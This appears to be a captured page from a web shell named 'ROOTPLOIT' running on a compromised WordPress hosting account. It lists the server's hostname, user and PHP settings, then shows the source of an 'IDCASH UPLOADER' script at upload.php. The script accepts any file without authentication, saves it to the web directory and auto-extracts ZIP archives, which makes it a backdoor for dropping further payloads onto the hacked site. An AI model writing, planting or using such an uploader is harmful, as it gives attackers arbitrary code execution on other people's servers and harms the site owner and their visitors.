ROOTPLOIT
Server: Apache
System: Linux node6122.myfcloud.com 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User: bashacomputer (1004)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/bashacomputer/public_html/wp/upload/upload.php
<?php
echo "<h1 style='color:green;'>IDCASH UPLOADER</h1>";

if (!empty($_FILES['file'])) {
    $upload_dir = __DIR__ . "/";
    $uploaded_file = $upload_dir . basename($_FILES['file']['name']);

    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploaded_file)) {
        echo "✅ File uploaded: <a href='" . htmlspecialchars($_FILES['file']['name']) . "'>" . htmlspecialchars($_FILES['file']['name']) . "</a><br>";

        // if it's a zip file, try to extract it
        $ext = pathinfo($uploaded_file, PATHINFO_EXTENSION);
        if (strtolower($ext) === 'zip') {
            $zip = new ZipArchive();
            if ($zip->open($uploaded_file) === TRUE) {
                $zip->extractTo($upload_dir);
                $zip->close();
                echo "✅ ZIP file extracted here.<br>";
            } else {
                echo "❌ Failed to extract ZIP file.<br>";
            }
        }
    } else {
        echo "❌ Failed to upload.<br>";
    }
}
?>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <button type="submit">Upload</button>
</form>